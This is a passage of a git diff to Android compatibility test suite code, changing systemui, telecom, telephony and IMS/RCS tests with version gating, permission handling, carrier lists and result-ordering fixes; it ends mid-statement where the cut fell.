 galinap@google.com
+# Owners of sysui/wmshell/insets tests:
+lbill@google.com
+shawnlin@google.com
+sanryhuang@google.com
+tigerhuang@google.com
diff --git a/tests/tests/systemui/PipTestApp/Android.bp b/tests/tests/systemui/PipTestApp/Android.bp
index b8219c8..5b7b4d9 100644
--- a/tests/tests/systemui/PipTestApp/Android.bp
+++ b/tests/tests/systemui/PipTestApp/Android.bp
@@ -36,6 +36,7 @@
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
+        "gts",
         "vts10",
         "general-tests",
     ],
diff --git a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
index b5e657c..f10d18b 100644
--- a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
@@ -46,6 +46,7 @@
 import android.graphics.Point;
 import android.graphics.Rect;
 import android.hardware.display.DisplayManager;
+import android.os.Build;
 import android.os.Bundle;
 import android.provider.DeviceConfig;
 import android.support.test.uiautomator.By;
@@ -64,6 +65,8 @@
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.CtsDownstreamingTest;
 import com.android.compatibility.common.util.SystemUtil;
 import com.android.compatibility.common.util.ThrowingRunnable;
 
@@ -71,6 +74,7 @@
 
 import org.junit.After;
 import org.junit.Before;
+import org.junit.BeforeClass;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.RuleChain;
@@ -279,6 +283,8 @@
      */
     @Before
     public void setUp() throws Exception {
+        assumeTrue("Skipping test intended for SV2 devices",
+                Build.VERSION.SDK_INT == Build.VERSION_CODES.S_V2);
         mDevice = UiDevice.getInstance(getInstrumentation());
         mTouchHelper = new TouchHelper(getInstrumentation());
         mTargetContext = getInstrumentation().getTargetContext();
@@ -342,6 +348,9 @@
      */
     @After
     public void tearDown() {
+        if (Build.VERSION.SDK_INT != Build.VERSION_CODES.S_V2) {
+            return;
+        }
         if (!hasSystemGestureFeature()) {
             return;
         }
@@ -600,9 +609,11 @@
     /**
      * @throws Throwable when setting the property goes wrong.
      */
+    @CtsDownstreamingTest
     @Test
     public void systemGesture_excludeViewRects_withoutAnyCancel()
             throws Throwable {
+        assumeTrue(ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S_V2));
         assumeTrue(hasSystemGestureFeature());
 
         mainThreadRun(() -> mContentViewWindowInsets = mActivity.getDecorViewWindowInsets());
@@ -635,8 +646,10 @@
         assertEquals(swipeCount[0], mActionDownPoints.size());
     }
 
+    @CtsDownstreamingTest
     @Test
     public void systemGesture_notExcludeViewRects_withoutAnyCancel() {
+        assumeTrue(ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S_V2));
         assumeTrue(hasSystemGestureFeature());
 
         mainThreadRun(() -> mActivity.setSystemGestureExclusion(null));
diff --git a/tests/tests/telecom/AndroidTest.xml b/tests/tests/telecom/AndroidTest.xml
index 13e1e1a..2729487 100644
--- a/tests/tests/telecom/AndroidTest.xml
+++ b/tests/tests/telecom/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="hidden-api-checks" value="false" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/telecom/src/android/telecom/cts/CtsRoleManagerAdapter.java b/tests/tests/telecom/src/android/telecom/cts/CtsRoleManagerAdapter.java
index 0b77a96..8459c5c 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CtsRoleManagerAdapter.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CtsRoleManagerAdapter.java
@@ -17,7 +17,6 @@
 package android.telecom.cts;
 
 import static android.telecom.cts.TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS;
-import static android.telecom.cts.TestUtils.executeShellCommand;
 
 import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
 
@@ -30,11 +29,9 @@
 import android.content.Context;
 import android.os.Process;
 import android.os.UserHandle;
-import android.telecom.TelecomManager;
 import android.util.Log;
 
 import java.util.ArrayList;
-import java.util.LinkedList;
 import java.util.List;
 import java.util.concurrent.ConcurrentHashMap;
 import java.util.concurrent.Executor;
@@ -70,6 +67,14 @@
         }
     }
 
+    public void removeDialerRoleHolder(String packageName) throws Exception {
+        if (mRoleManager != null) {
+            removeRoleHolder(RoleManager.ROLE_DIALER, packageName);
+        } else {
+            fail("Expected role manager");
+        }
+    }
+
     public List<String> getRoleHolder(String roleName) {
         List<String> holders = new ArrayList<>();
         runWithShellPermissionIdentity(() -> {
diff --git a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
index 1d08523..60b03b7 100644
--- a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
@@ -45,14 +45,6 @@
 import java.util.concurrent.CountDownLatch;
 import java.util.function.Predicate;
 
-import static android.media.AudioManager.MODE_IN_COMMUNICATION;
-import static android.telecom.cts.TestUtils.TEST_SELF_MANAGED_HANDLE_1;
-import static android.telecom.cts.TestUtils.TEST_SELF_MANAGED_HANDLE_4;
-import static android.telecom.cts.TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS;
-import static android.telecom.cts.TestUtils.waitOnAllHandlers;
-
-import static org.junit.Assert.assertNotEquals;
-
 /**
  * CTS tests for the self-managed {@link android.telecom.ConnectionService} APIs.
  * For more information about these APIs, see {@link android.telecom}, and
diff --git a/tests/tests/telecom/src/android/telecom/cts/TelecomManagerTest.java b/tests/tests/telecom/src/android/telecom/cts/TelecomManagerTest.java
index 52ef750..cb2ecd5 100644
--- a/tests/tests/telecom/src/android/telecom/cts/TelecomManagerTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/TelecomManagerTest.java
@@ -32,6 +32,8 @@
 import android.os.Bundle;
 import android.telecom.TelecomManager;
 
+import androidx.test.InstrumentationRegistry;
+
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
 
@@ -107,7 +109,11 @@
                 TelecomManager.TTY_MODE_FULL);
 
         try {
-            runWithShellPermissionIdentity(() -> mContext.sendBroadcast(changePreferredTtyMode));
+            // Hold SHELL permission identity to ensure CTS tests have READ_PRIVILEGED_PHONE_STATE
+            // during delivery of ACTION_CURRENT_TTY_MODE_CHANGED.
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .adoptShellPermissionIdentity();
+            mContext.sendBroadcast(changePreferredTtyMode);
             Intent intent = ttyModeQueue.poll(
                     TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS, TimeUnit.MILLISECONDS);
             assertTrue(intent.hasExtra(TelecomManager.EXTRA_CURRENT_TTY_MODE));
@@ -120,7 +126,9 @@
                     new Intent(TelecomManager.ACTION_TTY_PREFERRED_MODE_CHANGED);
             revertPreferredTtyMode.putExtra(TelecomManager.EXTRA_TTY_PREFERRED_MODE,
                     TelecomManager.TTY_MODE_OFF);
-            runWithShellPermissionIdentity(() -> mContext.sendBroadcast(revertPreferredTtyMode));
+            mContext.sendBroadcast(revertPreferredTtyMode);
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .dropShellPermissionIdentity();
         }
     }
 
diff --git a/tests/tests/telecom/src/android/telecom/cts/ThirdPartyInCallServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ThirdPartyInCallServiceTest.java
index 2fd4626..4cf900f 100644
--- a/tests/tests/telecom/src/android/telecom/cts/ThirdPartyInCallServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ThirdPartyInCallServiceTest.java
@@ -19,22 +19,17 @@
 import static android.telecom.cts.TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS;
 
 import android.Manifest;
-import android.app.UiModeManager;
 import android.app.role.RoleManager;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.ServiceConnection;
 import android.os.IBinder;
-import android.os.RemoteException;
-import android.telecom.TelecomManager;
 import android.telecom.cts.thirdptydialer.CtsThirdPtyDialerInCallServiceControl;
-import android.telecom.cts.thirdptyincallservice.CtsThirdPartyInCallService;
 import android.telecom.cts.thirdptyincallservice.CtsThirdPartyInCallServiceControl;
 import android.telecom.cts.thirdptyincallservice.ICtsThirdPartyInCallServiceControl;
 import android.util.Log;
 
-import java.util.List;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
@@ -71,7 +66,11 @@
     public void tearDown() throws Exception {
         if (mIsDialerRoleAvailable) {
             mICtsThirdPartyInCallServiceControl.resetCalls();
-            mCtsRoleManagerAdapter.setDialerRoleHolder(mPreviousRoleHolder);
+            if (mPreviousRoleHolder == null) {
+                mCtsRoleManagerAdapter.removeDialerRoleHolder(mThirdPartyPackageName);
+            } else {
+                mCtsRoleManagerAdapter.setDialerRoleHolder(mPreviousRoleHolder);
+            }
         }
         super.tearDown();
     }
diff --git a/tests/tests/telecom2/AndroidTest.xml b/tests/tests/telecom2/AndroidTest.xml
index 79e99cb..d2905a2 100644
--- a/tests/tests/telecom2/AndroidTest.xml
+++ b/tests/tests/telecom2/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/telecom3/AndroidTest.xml b/tests/tests/telecom3/AndroidTest.xml
index 60e3475..589cf34 100644
--- a/tests/tests/telecom3/AndroidTest.xml
+++ b/tests/tests/telecom3/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/telephony/current/AndroidTest.xml b/tests/tests/telephony/current/AndroidTest.xml
index 740f9be..3de16b2 100644
--- a/tests/tests/telephony/current/AndroidTest.xml
+++ b/tests/tests/telephony/current/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="not-shardable" value="true" />
     <target_preparer class="android.telephony.cts.preconditions.TelephonyPreparer">
         <option name="apk" value="CtsTelephonyPreparerApp.apk" />
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CarrierCapability.java b/tests/tests/telephony/current/src/android/telephony/cts/CarrierCapability.java
index fa64856..161e8f2 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CarrierCapability.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CarrierCapability.java
@@ -146,4 +146,19 @@
                     "45006",    // LGT
                     "45008"     // KT
             );
+
+
+    public static final List<String> SUPPORT_TEL_URI_PUBLISH =
+            Arrays.asList(
+                    "310410",   // AT&T Mobility
+                    "310280",   // AT&T Mobility
+                    "310030",   // AT&T Mobility
+                    "310070",   // AT&T Mobility
+                    "310170",   // AT&T Mobility
+                    "310380",   // AT&T Mobility
+                    "310560",   // AT&T Mobility
+                    "310680",   // AT&T Mobility
+                    "310950",   // AT&T Mobility
+                    "311180"    // AT&T Mobility
+            );
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index 740a0c7..81c9deb 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -1669,6 +1669,11 @@
                 TelephonyManager.RADIO_POWER_ON);
         assertThat(mRadioRebootTriggered).isTrue();
 
+        if (mListener != null) {
+            // unregister the listener
+            mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_NONE);
+        }
+
         // note, other telephony states might not resumes properly at this point. e.g, service state
         // might still in the transition from OOS to In service. Thus we need to wait for in
         // service state before running next tests.
@@ -1973,14 +1978,16 @@
         }
         String[] originalFplmns = mTelephonyManager.getForbiddenPlmns();
         try {
-            int numFplmnsSet = mTelephonyManager.setForbiddenPlmns(FPLMN_TEST);
+            int numFplmnsSet = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.setForbiddenPlmns(FPLMN_TEST));
             String[] writtenFplmns = mTelephonyManager.getForbiddenPlmns();
             assertEquals("Wrong return value for setFplmns with less than required fplmns: "
                     + numFplmnsSet, FPLMN_TEST.size(), numFplmnsSet);
             assertEquals("Wrong Fplmns content written", FPLMN_TEST, Arrays.asList(writtenFplmns));
         } finally {
             // Restore
-            mTelephonyManager.setForbiddenPlmns(Arrays.asList(originalFplmns));
+            ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.setForbiddenPlmns(Arrays.asList(originalFplmns)));
         }
     }
 
@@ -2002,7 +2009,8 @@
             for (int i = MIN_FPLMN_NUM; i < MAX_FPLMN_NUM; i++) {
                 targetFplmns.add(PLMN_B);
             }
-            int numFplmnsSet = mTelephonyManager.setForbiddenPlmns(targetFplmns);
+            int numFplmnsSet = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.setForbiddenPlmns(targetFplmns));
             String[] writtenFplmns = mTelephonyManager.getForbiddenPlmns();
             assertTrue("Wrong return value for setFplmns with overflowing fplmns: " + numFplmnsSet,
                     numFplmnsSet < MAX_FPLMN_NUM);
@@ -2012,7 +2020,8 @@
                     Arrays.asList(writtenFplmns));
         } finally {
             // Restore
-            mTelephonyManager.setForbiddenPlmns(Arrays.asList(originalFplmns));
+            ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.setForbiddenPlmns(Arrays.asList(originalFplmns)));
         }
     }
 
@@ -2031,19 +2040,22 @@
             for (int i = 0; i < MIN_FPLMN_NUM; i++) {
                 targetDummyFplmns.add(PLMN_A);
             }
-            mTelephonyManager.setForbiddenPlmns(targetDummyFplmns);
+            ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.setForbiddenPlmns(targetDummyFplmns));
             String[] writtenDummyFplmns = mTelephonyManager.getForbiddenPlmns();
             assertEquals(targetDummyFplmns, Arrays.asList(writtenDummyFplmns));
 
             List<String> targetFplmns = new ArrayList<>();
-            int numFplmnsSet = mTelephonyManager.setForbiddenPlmns(targetFplmns);
+            int numFplmnsSet = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.setForbiddenPlmns(targetFplmns));
             String[] writtenFplmns = mTelephonyManager.getForbiddenPlmns();
             assertEquals("Wrong return value for setFplmns with empty list", 0, numFplmnsSet);
             assertEquals("Wrong number of Fplmns written", 0, writtenFplmns.length);
             // TODO wait for 10 minutes or so for the FPLMNS list to grow back
         } finally {
             // Restore
-            mTelephonyManager.setForbiddenPlmns(Arrays.asList(originalFplmns));
+            ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.setForbiddenPlmns(Arrays.asList(originalFplmns)));
         }
     }
 
@@ -2058,12 +2070,14 @@
         }
         String[] originalFplmns = mTelephonyManager.getForbiddenPlmns();
         try {
-            mTelephonyManager.setForbiddenPlmns(null);
+            ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.setForbiddenPlmns(null));
             fail("Expected IllegalArgumentException. Null input is not allowed");
         } catch (IllegalArgumentException expected) {
         } finally {
             // Restore
-            mTelephonyManager.setForbiddenPlmns(Arrays.asList(originalFplmns));
+            ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.setForbiddenPlmns(Arrays.asList(originalFplmns)));
         }
     }
 
@@ -3324,6 +3338,19 @@
                 TelephonyManager.SIM_STATE_NOT_READY,
                 TelephonyManager.SIM_STATE_PERM_DISABLED,
                 TelephonyManager.SIM_STATE_LOADED).contains(simApplicationState));
+
+        for (int i = 0; i <= mTelephonyManager.getPhoneCount(); i++) {
+            final int slotId = i;
+            simApplicationState = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> tm.getSimApplicationState(slotId));
+            assertTrue(Arrays.asList(TelephonyManager.SIM_STATE_UNKNOWN,
+                    TelephonyManager.SIM_STATE_PIN_REQUIRED,
+                    TelephonyManager.SIM_STATE_PUK_REQUIRED,
+                    TelephonyManager.SIM_STATE_NETWORK_LOCKED,
+                    TelephonyManager.SIM_STATE_NOT_READY,
+                    TelephonyManager.SIM_STATE_PERM_DISABLED,
+                    TelephonyManager.SIM_STATE_LOADED).contains(simApplicationState));
+        }
     }
 
     @Test
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/util/CarrierPrivilegeUtils.java b/tests/tests/telephony/current/src/android/telephony/cts/util/CarrierPrivilegeUtils.java
index b20ea16..ea46c9b 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/util/CarrierPrivilegeUtils.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/util/CarrierPrivilegeUtils.java
@@ -160,11 +160,9 @@
             // the CarrierConfig override (as it will override the existing shell permissions).
             if (isShell) {
                 configManager.overrideConfig(subId, carrierConfigs);
-                configManager.notifyConfigChangedForSubId(subId);
             } else {
                 runWithShellPermissionIdentity(() -> {
                     configManager.overrideConfig(subId, carrierConfigs);
-                    configManager.notifyConfigChangedForSubId(subId);
                 }, android.Manifest.permission.MODIFY_PHONE_STATE);
             }
 
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
index 4970d89..f9d63b8 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
@@ -41,6 +41,7 @@
 import android.telephony.SubscriptionManager;
 import android.telephony.TelephonyManager;
 import android.telephony.cts.AsyncSmsMessageListener;
+import android.telephony.cts.CarrierCapability;
 import android.telephony.cts.SmsReceiverHelper;
 import android.telephony.ims.ImsException;
 import android.telephony.ims.ImsManager;
@@ -89,6 +90,8 @@
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
 
+import android.util.Log;
+
 /**
  * CTS tests for ImsService API.
  */
@@ -1405,6 +1408,12 @@
             fail("Cannot find IMS service");
         }
 
+        TelephonyManager tm = (TelephonyManager) getContext()
+                .getSystemService(Context.TELEPHONY_SERVICE);
+
+        String mccmnc = tm.getSimOperator();
+        boolean mTelUriSupported = CarrierCapability.SUPPORT_TEL_URI_PUBLISH.contains(mccmnc);
+
         ImsRcsManager imsRcsManager = imsManager.getImsRcsManager(sTestSub);
         RcsUceAdapter uceAdapter = imsRcsManager.getUceAdapter();
 
@@ -1424,7 +1433,13 @@
             receivedPidfXml.add(pidfXml);
         });
 
-        final Uri imsUri = Uri.fromParts(PhoneAccount.SCHEME_SIP, "test", null);
+        Uri imsUri;
+        if (mTelUriSupported) {
+            imsUri = Uri.fromParts(PhoneAccount.SCHEME_TEL, "0001112222", null);
+        } else {
+            imsUri = Uri.fromParts(PhoneAccount.SCHEME_SIP, "test", null);
+        }
+
         StringBuilder expectedUriBuilder = new StringBuilder();
         expectedUriBuilder.append("<contact>").append(imsUri.toString()).append("</contact>");
 
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java
index f142758..d4386ff 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java
@@ -818,6 +818,8 @@
             } finally {
                 errorQueue.clear();
                 retryAfterQueue.clear();
+                removeTestContactFromEab();
+                removeUceRequestDisallowedStatus();
             }
 
             requestAvailability(uceAdapter, sTestNumberUri, callback);
@@ -831,6 +833,8 @@
             } finally {
                 errorQueue.clear();
                 retryAfterQueue.clear();
+                removeTestContactFromEab();
+                removeUceRequestDisallowedStatus();
             }
 
             /*
@@ -854,6 +858,8 @@
             } finally {
                 errorQueue.clear();
                 retryAfterQueue.clear();
+                removeTestContactFromEab();
+                removeUceRequestDisallowedStatus();
             }
 
             requestAvailability(uceAdapter, sTestNumberUri, callback);
@@ -867,6 +873,8 @@
             } finally {
                 errorQueue.clear();
                 retryAfterQueue.clear();
+                removeTestContactFromEab();
+                removeUceRequestDisallowedStatus();
             }
         });
 
@@ -888,6 +896,8 @@
         } finally {
             errorQueue.clear();
             retryAfterQueue.clear();
+            removeTestContactFromEab();
+            removeUceRequestDisallowedStatus();
         }
 
         requestCapabilities(uceAdapter, numbers, callback);
@@ -902,6 +912,8 @@
         } finally {
             errorQueue.clear();
             retryAfterQueue.clear();
+            removeTestContactFromEab();
+            removeUceRequestDisallowedStatus();
         }
 
         overrideCarrierConfig(null);
@@ -975,22 +987,38 @@
         });
 
         requestCapabilities(uceAdapter, contacts, callback);
+        List<RcsContactUceCapability> resultCapList = new ArrayList<>();
 
         // Verify that all the three contact's capabilities are received
         RcsContactUceCapability capability = waitForResult(capabilityQueue);
-        assertNotNull("Capabilities were not received for contact: " + contact1, capability);
-        verifyCapabilityResult(capability, contact1, SOURCE_TYPE_NETWORK, REQUEST_RESULT_FOUND,
-                true, true);
+        assertNotNull("Capabilities were not received for contact", capability);
+        resultCapList.add(capability);
 
         capability = waitForResult(capabilityQueue);
-        assertNotNull("Capabilities were not received for contact: " + contact2, capability);
-        verifyCapabilityResult(capability, contact2, SOURCE_TYPE_NETWORK, REQUEST_RESULT_FOUND,
-                true, false);
+        assertNotNull("Capabilities were not received for contact", capability);
+        resultCapList.add(capability);
 
         capability = waitForResult(capabilityQueue);
-        assertNotNull("Capabilities were not received for contact: " + contact3, capability);
-        verifyCapabilityResult(capability, contact3, SOURCE_TYPE_NETWORK, REQUEST_RESULT_FOUND,
-                false, false);
+        assertNotNull("Capabilities were not received for contact", capability);
+        resultCapList.add(capability);
+
+        // Verify the first contact capabilities from the received capabilities list
+        RcsContactUceCapability resultCapability = getContactCapability(resultCapList, contact1);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyCapabilityResult(resultCapability, contact1, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_FOUND, true, true);
+
+        // Verify the second contact capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact2);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyCapabilityResult(resultCapability, contact2, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_FOUND, true, false);
+
+        // Verify the second contact capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact3);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyCapabilityResult(resultCapability, contact3, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_FOUND, false, false);
 
         // Verify the onCompleted is called
         waitForResult(completeQueue);
@@ -999,6 +1027,7 @@
         errorRetryQueue.clear();
         completeQueue.clear();
         capabilityQueue.clear();
+        resultCapList.clear();
         removeTestContactFromEab();
 
         // Setup the callback that some of the contacts are terminated.
@@ -1010,16 +1039,34 @@
 
         // Verify the contacts are not found.
         capability = waitForResult(capabilityQueue);
-        verifyCapabilityResult(capability, contact1, SOURCE_TYPE_NETWORK, REQUEST_RESULT_NOT_FOUND,
-                false, false);
+        assertNotNull("Capabilities were not received", capability);
+        resultCapList.add(capability);
 
         capability = waitForResult(capabilityQueue);
-        verifyCapabilityResult(capability, contact2, SOURCE_TYPE_NETWORK, REQUEST_RESULT_NOT_FOUND,
-                false, false);
+        assertNotNull("Capabilities were not received", capability);
+        resultCapList.add(capability);
 
         capability = waitForResult(capabilityQueue);
-        verifyCapabilityResult(capability, contact3, SOURCE_TYPE_NETWORK, REQUEST_RESULT_NOT_FOUND,
-                false, false);
+        assertNotNull("Capabilities were not received", capability);
+        resultCapList.add(capability);
+
+        // Verify the first contact capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact1);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyCapabilityResult(resultCapability, contact1, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_NOT_FOUND, false, false);
+
+        // Verify the second contact capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact2);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyCapabilityResult(resultCapability, contact2, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_NOT_FOUND, false, false);
+
+        // Verify the second contact capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact3);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyCapabilityResult(resultCapability, contact3, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_NOT_FOUND, false, false);
 
         // Verify the onCompleted is called
         waitForResult(completeQueue);
@@ -1028,6 +1075,7 @@
         errorRetryQueue.clear();
         completeQueue.clear();
         capabilityQueue.clear();
+        resultCapList.clear();
         removeTestContactFromEab();
 
         // Setup the callback that some of the contacts are terminated.
@@ -1051,17 +1099,35 @@
 
         // Verify the first contact is found.
         capability = waitForResult(capabilityQueue);
-        verifyCapabilityResult(capability, contact1, SOURCE_TYPE_NETWORK, REQUEST_RESULT_FOUND,
-                true, true);
+        assertNotNull("Capabilities were not received", capability);
+        resultCapList.add(capability);
 
         // Verify the reset contacts are not found.
         capability = waitForResult(capabilityQueue);
-        verifyCapabilityResult(capability, contact2, SOURCE_TYPE_NETWORK, REQUEST_RESULT_NOT_FOUND,
-                true, false);
+        assertNotNull("Capabilities were not received", capability);
+        resultCapList.add(capability);
 
         capability = waitForResult(capabilityQueue);
-        verifyCapabilityResult(capability, contact3, SOURCE_TYPE_NETWORK, REQUEST_RESULT_NOT_FOUND,
-                false, false);
+        assertNotNull("Capabilities were not received", capability);
+        resultCapList.add(capability);
+
+        // Verify the first contact capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact1);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyCapabilityResult(resultCapability, contact1, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_FOUND, true, true);
+
+        // Verify the second contact capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact2);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyCapabilityResult(resultCapability, contact2, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_NOT_FOUND, false, false);
+
+        // Verify the second contact capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact3);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyCapabilityResult(resultCapability, contact3, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_NOT_FOUND, false, false);
 
         // Verify the onCompleted is called
         waitForResult(completeQueue);
@@ -1133,21 +1199,38 @@
 
         requestCapabilities(uceAdapter, contacts, callback);
 
+        List<RcsContactUceCapability> resultCapList = new ArrayList<>();
+
         // Verify that all the three contact's capabilities are received
         RcsContactUceCapability capability = waitForResult(capabilityQueue);
-        assertNotNull("Capabilities were not received for contact: " + contact1, capability);
-        verifyCapabilityResult(capability, contact1, SOURCE_TYPE_NETWORK, REQUEST_RESULT_FOUND,
-                true, true);
+        assertNotNull("Cannot receive the first capabilities result.", capability);
+        resultCapList.add(capability);
 
         capability = waitForResult(capabilityQueue);
-        assertNotNull("Capabilities were not received for contact: " + contact2, capability);
-        verifyCapabilityResult(capability, contact2, SOURCE_TYPE_NETWORK, REQUEST_RESULT_FOUND,
-                true, false);
+        assertNotNull("Cannot receive the second capabilities result.", capability);
+        resultCapList.add(capability);
 
         capability = waitForResult(capabilityQueue);
-        assertNotNull("Capabilities were not received for contact: " + contact3, capability);
-        verifyCapabilityResult(capability, contact3, SOURCE_TYPE_NETWORK, REQUEST_RESULT_FOUND,
-                false, false);
+        assertNotNull("Cannot receive the third capabilities result.", capability);
+        resultCapList.add(capability);
+
+        // Verify contact1's capabilities from the received capabilities list
+        RcsContactUceCapability resultCapability = getContactCapability(resultCapList, contact1);
+        assertNotNull("Cannot find the contact: " + contact1, resultCapability);
+        verifyCapabilityResult(resultCapability, contact1, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_FOUND, true, true);
+
+        // Verify contact2's capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact2);
+        assertNotNull("Cannot find the contact: " + contact2, resultCapability);
+        verifyCapabilityResult(resultCapability, contact2, SOURCE_TYPE_NETWORK,
